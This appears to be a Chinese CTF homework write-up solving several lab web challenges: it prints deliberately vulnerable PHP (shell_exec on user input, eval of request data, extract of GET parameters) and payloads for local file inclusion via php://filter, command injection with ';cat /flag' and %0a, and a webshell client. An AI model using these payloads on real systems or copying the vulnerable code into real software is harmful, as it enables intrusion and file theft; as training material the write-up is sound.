0%

CTF特训营(周末作业二)

前言

周未还有作业。。累呀

作业一

分析

拿到题目,先看看有没有源码泄露
作业
扫描了一下。没发现有啥东西。
作业
随便翻一翻。发现有文件包含。

payload

1
http://47.102.118.76:9970/index.php?path=php://filter/read=convert.base64-encode/resource=flag.php

试一下。

拿到flag

作业
flag{lfis0easy}

作业二

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file('index.php');
$direc = $_GET['direc'];
if(!isset($direc)){
die('');
}
if(preg_match('/[^a-zA-A0-9 ;\/]/',$direc)){
die('whoops');
}
if(isset($direc)){
echo(shell_exec('ls '.$direc));
}
?>

源码直接就给出了这也没啥好说的了。
只能输入a-z,A-A,0-9,空格和;号

payload

1
http://47.102.118.76:9971/?direc=;cat /flag

flag

作业
直接拿到flag{418437d0-0a89-4a17-9b13-bdb165718312}

作业三

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
extract($_GET);
if (!empty($f1ag))
{
$combination = trim(file_get_contents($filename));
if ($f1ag === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";

echo "<p>Congratulation.flag is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

读取的文件内容要与用户输入的f1ag相等(这里是f1ag而不是flag,好坑呀)

payload

这好办呀,直接使用php伪协议

1
http://47.102.118.76:9972/?f1ag=111&filename=data:text/plain,111

失败了一点反应也没有。扫描一下看看有没有什么可用的文件
作业
有个robots.txt可用。

1
http://47.102.118.76:9972/?f1ag=havefun&filename=robots.txt

flag

作业
flag{0643cfb7a9066fc0de315f34117bd07e}

作业四

分析

题目就一个

1
give me ip!

提交一下

http://47.102.118.76:9973/?ip=127.0.0.1

作业
好吧看来是命令执行了。
测试使用;,|来执行多条命令,失败了。
使用%0a然后成功了。
作业

payload

作业

flag

flag{2f48397a0086}

作业五

分析

作业六

分析

1
2
3
4
5
6
7
8
9
<html><head></head>
<body>
<img src='image/best_language.gif'><br>
<?php
highlight_file(__FILE__);
eval(stripslashes($_REQUEST['eval']));
?>
</body>
</html>

直接给了一个后门呀。无语了

payload

作业
为了防止stripslashes过滤掉特殊的字符,将蚁剑设置为base64编码模式。
但是发现不能访问根目录。

flag

作业
flag{a42aa0b8ac38}

坚持原创技术分享,您的支持将鼓励我继续创作!